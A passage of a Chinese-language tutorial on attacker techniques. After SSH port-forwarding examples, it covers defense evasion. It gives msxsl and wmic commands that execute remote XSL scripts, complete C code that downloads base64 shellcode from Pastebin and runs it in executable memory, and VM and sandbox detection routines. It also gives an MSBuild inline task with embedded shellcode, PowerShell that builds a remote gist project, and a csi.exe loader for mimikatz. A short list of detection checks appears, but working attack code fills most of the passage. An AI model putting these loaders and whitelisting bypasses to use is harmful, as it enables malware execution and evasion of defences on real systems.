这种方式的优点是:配置一个代理服务就可以访问远端机器和与其所在子网络的所有服务;缺点是:应用程序需要额外配置SOCKS代理,若应用程序不支持代理配置则无法使用

2. 本地端口转发 - 单端口隧道转发

本地端口ssh tunnel转发一次配置只能配置一个特定端口的转发,例如A主机需要访问C主机的VNC服务(5900端口)

# 在A主机上建立本地转发端口5901,A主机相当于ssh tunnel的发起方
ssh -L 5901:192.168.2.101:5900 root@192.168.2.100
# 此时所有发往本地5901端口的数据都会通过ssh tunnel封装,借助中转B服务器,到达C服务器的5900端口
# 然后本地vnc客户端通过5901端口打开c主机的vnc服务
open vnc://localhost:5901

这种本地端口转发方式的优点是: 无需设置代理,直接透明转发;缺点是: 每个服务都需要配置不同的端口转发

3. 远端端口转发 - 内网打洞

远程端口转发用于某些单向阻隔的内网环境,比如说NAT,网络防火墙。在NAT设备之后的内网主机可以直接访问公网主机,但外网主机却无法访问内网主机的服务。如果内网主机向外网主机建立一个远程转发端口,就可以让外网主机通过该端口访问该内网主机的服务。可以把这个内网主机理解为“内应”和“开门者”。

外网机器: 主机C(192.168.2.101)
位于内网和外网边界的机器: 主机B(192.168.2.100),主机B和主机C可以相互访问
内网机器: 主机A(192.168.18.100),已知主机A可以通过SSH访问登录B主机,但反向直接连接被禁止
主机C想访问主机A的VNC服务(5900端口),但因为主机C在外网无法直连,需要位于内网的主机A通过端口转发的方式借助单向可通的的边界服务器B来实现内网打洞

需要执行的指令如下

# 在主机A执行如下命令,连接主机B,借助主机B的port forarding进行端口转发 
# 主机A:5900 -> 主机A:21 -> 主机B:21 -> 主机B:5901 -> 提供主机C外部访问
ssh -R 5900:192.168.2.100:5901 root@192.168.2.100
# 然后主机C连接主机B的5901端口
open vnc://192.168.2.100:5901

这种方式的优点是: 可以穿越防火墙和NAT设备; 缺点是: 每个服务都需要配置不同的端口转发
Relevant Link:

http://webcache.googleusercontent.com/search?q=cache:5m4F2NPiEYEJ:codelife.me/blog/2012/12/09/three-types-of-ssh-turneling/+&cd=3&hl=zh-CN&ct=clnk&gl=cn
http://blog.creke.net/722.html
http://www.ruanyifeng.com/blog/2011/12/ssh_port_forwarding.html

 

7. 防御逃逸(Defense Evasion)

防御逃逸的基本思想是,攻击者总会在Windows系统上找到一些被系统或杀软信任而不会进行限制的应用程序,这些应用通常是被大家忽视或不常用的。当它们有一些可被利用的漏洞时,就会造成严重后果

0x1:XSL脚本(XSL Script)代码代理执行

1. 原理介绍

XML是一种可扩展的标记语言,被设计用来传输和存储数据。XML类似于HTML,但是和HTML有着本质的区别, XML 被设计为传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观, 即XML旨在传输信息,而HTML旨在显示信息。

可扩展样式表语言(XSL)文件通常用于描述XML文件中的数据的处理方式和显示方式,其中为了支持复杂的操作,XSL提供了对各种嵌入式脚本的支持,典型的如Javascript/vbs(原理上类似office的内置宏支持)。攻击者可能会通过利用此功能来代理执行任意代码,以绕过应用程序白名单防护。

有两种解析执行XSL文件的方式,

  • MSXSL命令行工具:MSXSL的命令行工具(msxsl.exe),用于执行XSL transformations操作,并可以用来执行嵌入在本地或者远程(通过URL指定)XSL文件中的恶意JavaScript。由于该程序默认不安装在Windows系统上,因此攻击者可能需要将其与恶意文件打包在一起放在目标电脑上
    • msxsl.exe customers.xml script.xsl
    • msxsl.exe script.xsl script.xsl
    • msxsl.exe script.jpeg script.jpeg
    • msxsl.exe http://www.google.com/customers.xml http://www.google.com/script.xsl
  • 利用wmi执行XSL中的JScript/VBScript代码
    • wmic process list /FORMAT:evil.xsl
    • wmic os get /FORMAT:"https://example.com/evil.xsl"

Customers.xml文件内容如下:

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="test.xsl" ?>
<customers>
<customer>
<name>Microsoft Windows</name>
</customer>
</customers>

Script.xsl 文件内容如下:

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">

<msxsl:script language="JScript" implements-prefix="user">
  function xml(nodelist)
  {
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");
return nodelist.nextNode().xml;
  }
</msxsl:script>
<xsl:template match="/">
  <xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

2. 运行效果

通过CMD进程使用通过命令行进行带参数的命令执行msxsl.exe,test.xsl中的JavaScript会得以执行,该代码执行的宿主程序是msxsl.exe,最后计算器得以执行.

msxsl.exe customers.xml script.xsl
# Run COM Scriptlet code within the script.xsl file (local).

msxls.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
# Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

3. 检查项

  • 进程白名单:由于msxsl并不是系统默认附带的,所以如果计算机中意外出现该程序,需要进一步查询该文件的作用及来历
  • 命令行参数监视:监视msxsl.exe的执行及其参数,将该程序最近的调用与历史中已知的良好的调用进行比较,已确定异常和潜在的对抗活动。例如:URL命令行参数
  • 外部网络连接的创建监控:监控发起网络外连的进程的命令行中是否包含xsl脚本等特征
  • 监控与脚本关联的动态链接库加载事件

0x2:利用可信网络服务(Web Service)进行数据隐蔽传输 

1. 原理介绍

部分攻击者会使用现有的合法外部Web服务作为中转服务器,将命令和数据中继到受感染的系统中。

攻击者通过将C&C信息、攻击指令放在可编辑的Web服务中,受感染系统首先会与该服务进行通讯,然后解析其中数据开始连接真实的C&C服务器。

对攻击者来说,使用可信网络服务的好处有很多,例如

  • 流行的网站和可信的网站可能会为数据隐蔽传输做一下掩盖,因为内网的主机在被入侵之前就有与这些网站进行通信的可能性。使用常见的服务(如Google、Twitter、Github、PasteBin)可以使数据交互更容易隐藏。
  • Web服务提供商通常使用SSL/TLS加密,这些也为攻击者提供了额外的保护
  • 使用Web服务存放C&C服务器信息,可以避免因将该信息硬编码到样本中而被分析发现的可能
  • 可以实现C&C服务器的弹性操作(可以动态修改Web服务中的C&C服务器信息)

2. 攻击过程

这里以下载Payload并执行为例,模拟演示使用PasteBin存储可执行代码,利用客户端程序下载并执行的过程。

将编码后的内容上载到pastebin.com,生成一个可访问的链接

通过编写如下代码,完成下载并执行代码的过程。 

  • 模拟发送HTTPS请求获取指定页面的内容
  • BASE64解码所下载的二进制数据
  • 将二进制字符串转为二进制数值,并申请一段可执行的内存地址存放该代码
  • 创建新的线程,将代码执行起来
bool read_webpage()
{
  bool ret = false;

  int decode_len = 0;
  BYTE pAllData[4096] = {0};
  BYTE pDecodeData[4096] = {0};
  BYTE* pMessageBody = NULL;
  BYTE* pCode = NULL; 
  HANDLE hNewThread = NULL;

  LPCTSTR lpszServerName = L"www.pastebin.com";            //欲访问的服务器
  LPCTSTR lpszObjectName = L"/raw/LXrbf7PW";              //欲访问的页面
  INTERNET_PORT nServerPort = INTERNET_DEFAULT_HTTPS_PORT;      // HTTPS端口443

  LPCTSTR lpszAgent = L"WinInetGet/0.1";
  HINTERNET hInternet = InternetOpen( lpszAgent,INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
  LPCTSTR lpszUserName = NULL; 
  LPCTSTR lpszPassword = NULL; 
  DWORD dwConnectFlags = 0;
  DWORD dwConnectContext = 0;
  HINTERNET hConnect = InternetConnect(hInternet,lpszServerName, nServerPort,lpszUserName, lpszPassword,INTERNET_SERVICE_HTTP,dwConnectFlags, dwConnectContext);
  LPCTSTR lpszVerb = L"GET";
  LPCTSTR lpszVersion = NULL;   
  LPCTSTR lpszReferrer = NULL;   
  LPCTSTR *lplpszAcceptTypes = NULL; 
  DWORD dwOpenRequestFlags =  INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |
    INTERNET_FLAG_KEEP_CONNECTION |
    INTERNET_FLAG_NO_AUTH |
    INTERNET_FLAG_NO_COOKIES |
    INTERNET_FLAG_NO_UI | 
    INTERNET_FLAG_SECURE |
    INTERNET_FLAG_RELOAD;
  DWORD dwOpenRequestContext = 0;

  HINTERNET hRequest = HttpOpenRequest( hConnect, lpszVerb, lpszObjectName, lpszVersion,
    lpszReferrer, lplpszAcceptTypes,dwOpenRequestFlags, dwOpenRequestContext);

  BOOL bResult = HttpSendRequest(hRequest, NULL, 0, NULL, 0);

  if (!bResult) 
  {
    fprintf(stderr, "HttpSendRequest failed, error = %d (0x%x)\n",GetLastError(), GetLastError());
    goto SAFE_EXIT;
  }

  DWORD dwInfoLevel = HTTP_QUERY_RAW_HEADERS_CRLF;
  DWORD dwInfoBufferLength = 2048;
  BYTE *pInfoBuffer = (BYTE *)malloc(dwInfoBufferLength+2);
  while (!HttpQueryInfo(hRequest, dwInfoLevel, pInfoBuffer, &dwInfoBufferLength, NULL))
  {
    DWORD dwError = GetLastError();
    if (dwError == ERROR_INSUFFICIENT_BUFFER)
    {
      free(pInfoBuffer);
      pInfoBuffer = (BYTE *)malloc(dwInfoBufferLength + 2);
    }
    else
    {
      fprintf(stderr, "HttpQueryInfo failed, error = %d (0x%x)\n",
        GetLastError(), GetLastError());
      break;
    }
  }
  pInfoBuffer[dwInfoBufferLength] = '\0';
  pInfoBuffer[dwInfoBufferLength + 1] = '\0';
  //printf("%S", pInfoBuffer); 
  free(pInfoBuffer);

  DWORD dwBytesAvailable;
  //读取raw数据
  while (InternetQueryDataAvailable(hRequest, &dwBytesAvailable, 0, 0))
  {
    pMessageBody = (BYTE *)malloc(dwBytesAvailable+1);
    DWORD dwBytesRead;
    BOOL bResult = InternetReadFile(hRequest, pMessageBody,
      dwBytesAvailable, &dwBytesRead);
    if (!bResult)
    {
      fprintf(stderr, "InternetReadFile failed, error = %d (0x%x)\n",
        GetLastError(), GetLastError());
      goto SAFE_EXIT;
    }
    if (dwBytesRead == 0)
    {
      break; 
    }
    pMessageBody[dwBytesRead] = '\0';
    
    strcat((char*)pAllData, (char*)pMessageBody);
    free(pMessageBody);
  }
  
  printf((char*)pAllData);

  //base64 解码, 跳过开头的forTEST{}
  if(base64_decode((char*)pAllData + 8, strlen((char*)pAllData) - 9, (char*)pDecodeData, 4096))
  {
    goto SAFE_EXIT;
  }
  decode_len = strlen((char*)pDecodeData);

  //进一步将字符串转为16进制值
  pCode = (BYTE*)VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (pCode == NULL)
  {
    goto SAFE_EXIT;
  }

  for (int i = 0; i < (decode_len/2); i++)
  {
    char t[3] = {0};
    t[0] = pDecodeData[i * 2 + 0];
    t[1] = pDecodeData[i * 2 + 1];

    pCode[i] = (unsigned char)strtoul(t, NULL, 16);
  }

  //创建线程执行下载的代码
  hNewThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pCode, NULL, NULL, NULL);
  WaitForSingleObject(hNewThread, INFINITE);

  ret = true;

SAFE_EXIT:
  if (pMessageBody != NULL)
  {
    free(pMessageBody);
    pMessageBody = NULL;
  }
  if (pCode != NULL)
  {
    VirtualFree(pCode, 0,MEM_RELEASE);
  }
  return ret;
}


int _tmain(int argc, _TCHAR* argv[])
{
  read_webpage();
  return 0;
}
View Code

执行情况如下:

0x3:Virtualization/Sandbox Evasion 

1. 原理介绍

恶意软件分析人员经常会使用隔离的环境(如 虚拟机、沙箱)来分析未知程序中的恶意代码,为了逃避分析并绕过安全系统检测,恶意软件作者通常会添加代码来检测目前是否运行在隔离的环境。一旦检测到这种环境,恶意软件就可以阻止恶意代码运行,或者可以改变恶意软件的行为,从而避免在VM中运行时暴露恶意活动,此行为称为“反沙箱”或“反VM”。

例如:在真实硬件上运行时,恶意软件将连接到其C&C服务器,但是在检测到VM时,它将连接到合法域名,从而使分析人员或自动安全检测系统认为这是合法代码。

攻击者可以通过多种手段确定当前是否处于虚拟机环境中,

  • 搜索安全监测工具(例如Sysinternals,Wireshark等)来确定目前是否为分析环境
  • 搜索流行的虚拟化方案的固有特征以监测是否运行在虚拟化环境中,虚拟机软件主要是模仿真实硬件的硬件功能,但是通常会在操作系统中存在一些特征,这有助于表明它确实是虚拟机而不是物理机, 例如
    • 搜索VMTools进程是否存在以确认是否在VMWare中运行
    • 在恶意代码中使用计时器或循环,来监测代码是否在沙箱中运行
    • 搜素虚拟机特定的文件、进程、注册表项、服务或者是网络设备适配器等等,例如
      • WINDOWS\system32\drivers\vmmouse.sys
      • WINDOWS\system32\vboxhook.dll
      • Windows\system32\vboxdisp.dll
  • 利用系统自身提供的工具程序获取系统信息,例如
    • wmic
    • PowerShell
    • Systeminfo
    • reg Query Registry,常用的注册表路径包括
      • HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
      • HKLM\HARDWARE\Description\System\"SystemBiosVersion";"VMWARE"
      • HKLM\HARDWARE\ACPI\DSDT\BOX_

我们接下来逐个讨论分析,

1)通过 WMI 检查主板信息及BIOS信息,以确认是否在虚拟机中运行

在虚拟机中安装的操作系统, 由于其部分硬件为虚构出来的, 有不少硬件存在固定的特征,可以利用该特征来确认是否运行于虚拟机中。如BIOS信息、硬盘信息。

通过Windows系统中WMI提供的接口可以查询到操作系统中绝大多数的相关信息。如下图所示,通过命令行调用WMIC在使用WMI查询硬盘信息,可以确认,默认的虚拟机中其硬盘名称中包含Vmware 字样,而真实物理机中通常不含这样的信息: 

wmic diskdrive get Caption,size,InterfaceType

进一步查询BIOS 的编号,不难发现其编号中也有Vmware字样,而真实物理机中却不包含。

wmic bios get serialnumber

攻击者可以利用这样的差异,用于检测代码是否运行在虚拟系统中。

如下的代码演示了通过新建命令行程序并执行查询BIOS编号,通过检查其中是否有Vmware字符串来确定是否允许于Vmware虚拟机中,

/*
  通过WMI查询, 检查主板信息和BIOS信息,以确认是否在VM中运行
*/
bool checkvm_by_wmiinfo()
{
  bool ret = false;
  DWORD cb = 0;
  DWORD need_read_cb;
  DWORD data_avail;
  HANDLE new_process;
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  HANDLE read_pipe_handle, write_pipe_handle;   
  SECURITY_ATTRIBUTES sa_attr; 
  BYTE read_buffer[0x1000];
  
  sa_attr.nLength = sizeof(SECURITY_ATTRIBUTES); 
  sa_attr.bInheritHandle = TRUE; 
  sa_attr.lpSecurityDescriptor = NULL; 


  if(!CreatePipe(&read_pipe_handle, &write_pipe_handle, &sa_attr, 0))
  {
    goto Error_Exit;
  }

  memset(&si, 0, sizeof(si));
  memset(&pi, 0, sizeof(pi));
  GetStartupInfo(&si);
  si.cb = sizeof(si);
  si.wShowWindow = SW_HIDE;
  si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  si.hStdOutput = write_pipe_handle;
  si.hStdError = write_pipe_handle;

  if (!CreateProcess(_TEXT("c:\\windows\\system32\\cmd.exe"), _TEXT("\/c wmic bios get serialnumber"), NULL, 
    NULL, TRUE, NULL, NULL, NULL, &si, &pi))
  {
    goto Error_Exit;
  }
  WaitForSingleObject(pi.hProcess, INFINITE);
  
  do 
  {
    if (!PeekNamedPipe(read_pipe_handle, NULL, NULL, &need_read_cb, &data_avail, NULL) || data_avail <= 0)
    {
      break;
    }

    if (!ReadFile(read_pipe_handle, read_buffer,data_avail, &cb, NULL))
    {
      goto Error_Exit;
    }
    
    //读取的 read_buffer 可能为unicode 编码!!!
    if(strstr((char*)read_buffer, ("VMware")) != NULL)
    {
      ret = true;
      break;
    }
  } while (true);

Error_Exit:
  if(read_pipe_handle != NULL)
  {
    CloseHandle(read_pipe_handle);
    read_pipe_handle = NULL;
  }
  if(write_pipe_handle != NULL)
  {
    CloseHandle(write_pipe_handle);
    write_pipe_handle = NULL;
  }
  if(pi.hProcess != NULL)
  {
    CloseHandle(pi.hProcess);
  }
  if (pi.hThread != NULL)
  {
    CloseHandle(pi.hThread);
  }
  return ret;
}
View Code

2)搜索系统中的进程名称,通过检查是否正在运行有流行虚拟机的特有进程,来检查是否运行在虚拟机中

虚拟机为了实现某些功能,通常需要在虚拟的系统中安装一些程序,通过这些程序配合宿主机中安装的程序来完成。

如下图所示的vmtoolsd进程,即为VMware实现拖拽功能所须安装的程序,通常情况下,虚拟机都会安装该程序以实现真机和虚拟机的无缝拖拽功能。

/*
  搜索系统中的进程名称,通过检查流行虚拟机的特有进程,来检查是否运行在虚拟机中
*/
bool checkvm_by_process()
{
  bool ret = false;
  HANDLE process_snap;
  PROCESSENTRY32 pe32;

  process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (process_snap == INVALID_HANDLE_VALUE)
  {
    goto Error_Exit;
  }

  pe32.dwSize = sizeof(PROCESSENTRY32);
  if (!Process32First(process_snap, &pe32))
  {
    goto Error_Exit;
  }

  do 
  {
    if ((lstrcmp(pe32.szExeFile, _TEXT("vmtoolsd.exe")) == 0) ||
      (lstrcmp(pe32.szExeFile, _TEXT("vmwaretrat.exe")) == 0)||
      (lstrcmp(pe32.szExeFile, _TEXT("vmwareuser.exe")) == 0)||
      (lstrcmp(pe32.szExeFile, _TEXT("vmacthlp.exe")) == 0)||
      (lstrcmp(pe32.szExeFile, _TEXT("vboxservice.exe")) == 0)||
      (lstrcmp(pe32.szExeFile, _TEXT("vboxtray.exe")) == 0))
    {
      ret = true;
            break;
    }

  } while (Process32Next(process_snap, &pe32));
  
Error_Exit:
  if (process_snap != INVALID_HANDLE_VALUE)
  {
    CloseHandle(process_snap);
    process_snap = INVALID_HANDLE_VALUE;
  }
  return ret;
}
View Code

3)通过检测用户活动(User Activity)判断当前是否处于虚拟机中

  • browser history / cache / bookmarks
  • number of files in the home directories
  • the speed and frequency of mouse clicks
  • ....

0x4:受信任的开发人员实用程序(Trusted Developer Utilities)利用

1. 原理介绍

有许多实用程序用于软件开发相关的任务,这些实用程序可以用于执行各种形式的代码,以帮助开发人员进行快速开发、调试和逆向工程。这些实用程序通常拥有合法证书进行签名,以使他们可以在系统上执行,通过这些可信任的进程代理执行恶意代码,可以绕过系统中应用程序防御白名单机制。

1)MSBuild

Microsoft Build Engine(MSBuild)是一个用于生成应用程序的平台。它为项目文件提供了一个 XML 架构,用于控制生成平台处理和生成软件的方式。

Visual Studio 会使用 MSBuild进行代码编译,但MSBuild是一个独立的独捡,它不依赖于 Visual Studio。通过在项目或解决方案文件中调用 msbuild.exe ,可以在未安装 Visual Studio 的环境中安排和生成产品。

Visual Studio 使用 MSBuild 来加载和生成托管项目。Visual Studio 中的项目文件(.csproj 、.vbproj 、vcxproj 等)包含 MSBuild XML 代码,当你使用 IDE 来生成项目时,此代码就会运行。

同样,攻击者可以使用MSBuild通过受信任的Windows实用工具进行代码代理执行,以绕过系统的Applocker 或者 是杀软的白名单检查机制。.Net 4中引入的MSBuild内联任务功能允许将C#代码插入XML项目文件中,MSBuild将编译并执行内联任务。MSBuild.exe是一个经过Microsoft签名的二进制文件,因此以这种方式使用它时,可以执行执行任意代码,并绕过配置为允许MSBuild执行的应用程序白名单防护。

 

MSBuild可编译特定格式的XML文件,在.NETFramework 4.0中支持了一项新功能”Inline Tasks”,被包含在元素UsingTask中,可用来在XML文件中执行C#代码.

如下的XML文件中包含了加载并执行Shellcode的过程,

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
            byte[] shellcode = new byte[304]{
                  0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8D, 0x45, 0xEC, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65, 
                  0x72, 0x33, 0xDB, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x50, 0xB9, 0x4C, 0x77, 0x26, 0x07, 
                  0x66, 0xC7, 0x45, 0xF4, 0x6C, 0x6C, 0x88, 0x5D, 0xF6, 0xC7, 0x45, 0xF8, 0x74, 0x6F, 0x70, 0x73, 
                  0x66, 0xC7, 0x45, 0xFC, 0x65, 0x63, 0x88, 0x5D, 0xFE, 0xE8, 0x1A, 0x00, 0x00, 0x00, 0xFF, 0xD0, 
                  0x53, 0x8D, 0x45, 0xF8, 0xB9, 0x45, 0x83, 0x56, 0x07, 0x50, 0x50, 0x53, 0xE8, 0x07, 0x00, 0x00, 
                  0x00, 0xFF, 0xD0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00, 
                  0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9, 
                  0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44, 
                  0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74, 
                  0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04, 
                  0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8, 
                  0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B, 
                  0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33, 
                  0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF, 
                  0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24, 
                  0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56, 
                  0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 
                  0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7, 
                  0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB
                };
              
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
View Code

该XML文件中包含的C#代码,采用了VirtualAlloc()申请内存空间,并将Shellcode拷贝到该地址,最后调用CreateThread()创建线程开始执行,并等待shellcode执行完毕后退出。

使用CMD执行”MSBuild execute shellcode.xml” 指定的shellcode 便执行起来

msbuild.exe pshell.xml
msbuild.exe pshell.csproj
msbuild.exe pshell.cs

除了命令行指令外,还可以使用powershell调用msbuild编译源代码

Local Invocation

[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');
$proj = "c:\test\test.csproj";
$e=new-object Microsoft.Build.Evaluation.Project($proj);
$e.Build();

or

Add-Type -Path "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.dll"
$proj = "c:\test\test.csproj";
$e=new-object Microsoft.Build.Evaluation.Project($proj);
$e.Build();
Remote Invocation

Remote Invocation

[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');
$proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/bohops/a29a69cf127ffb0e37622d25b9f79157/raw/35fa4c5a0d2db037220f224b5c4c269ea243b3bd/test.csproj");
$e=new-object Microsoft.Build.Evaluation.Project($proj);
$e.Build();

or

Add-Type -Path "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.dll"
$proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/bohops/a29a69cf127ffb0e37622d25b9f79157/raw/35fa4c5a0d2db037220f224b5c4c269ea243b3bd/test.csproj");
$e=new-object Microsoft.Build.Evaluation.Project($proj);
$e.Build();

远程xml代码如下:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
   <FragmentExample />
   <ClassExample />
  </Target>
  <UsingTask
    TaskName="FragmentExample"
    TaskFactory="CodeTaskFactory"
 AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />  
      <Code Type="Fragment" Language="cs">
        <![CDATA[        
        ]]>
      </Code>
    </Task>
    </UsingTask>
    <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    <!-- <Reference Include="System.IO" /> Example Include -->        
      <Code Type="Class" Language="cs">
        <![CDATA[
            using System;
            using System.Diagnostics;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;
                
            public class ClassExample :  Task, ITask
            {
                public override bool Execute()
                {
                    System.Diagnostics.Process proc = new System.Diagnostics.Process();
                    proc.StartInfo.FileName = "c:\\windows\\system32\\notepad.exe";
                    proc.Start();                        
                    return true;
                }
            }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
View Code

2)DNX

.NET执行环境(DNX)DNX.exe是一个与Visual Studio Enterprise打包的软件开发工具包。它在2016年因支持.NET Core CLI而退役。[3] DNX不存在于标准版本的Windows上,可能仅存在于使用旧版本.NET Core和ASP.NET Core 1.0的开发人员工作站上。dnx.exe可执行文件由Microsoft签名。

攻击者可以使用dnx.exe代理执行任意代码,以绕过不考虑dnx的应用程序白名单策略

  • 创建一个新的文件夹:c:\temp\ConsoleApp
  • 创建一个C#源代码文件,例如Program.cs,
    • using System;
      public class Program
      {
          public static void Main()
          {
              Console.WriteLine("Hello World");
          }
      }
  • 和其他vs studio组件一样,编译源代码还需要有对应的配置文件。创建project.json如下,
    • {
          "dependencies": {
      
          },
          "commands": {
              "ConsoleApp": "ConsoleApp"
          },
          "frameworks": {
              "dnx451": { },
              "dnxcore50": {
                  "dependencies": {
                      "System.Console": "4.0.0-beta-*"
                  }
              }
          }
      }
  • 编译并执行代码
    • dnu restore:this will pull all the required packages into your user folder
    • dnx ConsoleApp:execute the binary

Relevant Link: 

https://blogs.msdn.microsoft.com/sujitdmello/2015/04/23/step-by-step-installation-instructions-for-getting-dnx-on-your-windows-machine/ 
https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/ 

3)CSI

csi.exe在Visual Studio 2015 Update 1引入,安装后位置在:C:Program Files (x86)/MSBuild/14.0/Bin

csi.exe允许开发者在命令行接口中以交互式的形式来编译C#代码。攻击者只需要使用csi.exe,并解决目标环境中相应的依赖问题(攻击文件在未压缩的情况下大小约为6MB),攻击者就可以成功绕过目标系统中的应用白名单限制,然后实施下一步的攻击。

将下述测试代码写在xxx.csx文件中,

using System;
using System.Reflection;
string s = System.IO.File.ReadAllText(@"c:testkatz.txt");
byte[] b = System.Convert.FromBase64String(s);
Assembly a = Assembly.Load(b);
MethodInfo method = a.EntryPoint;
object o = a.CreateInstance(method.Name);
method.Invoke(o, null);

testkatz.txt是一段二进制的shellcode,例如mimikatz.exe。

在cmd下csi.exe后面直接加.csx文件的路径,

"C:Program Files (x86)/MSBuild/14.0/Bin/csi.exe" c:testkatz.csx

可在csi.exe的同级目录C:Program Files (x86)/MSBuild/14.0/Bin下找到csi.exe及其依赖文件,

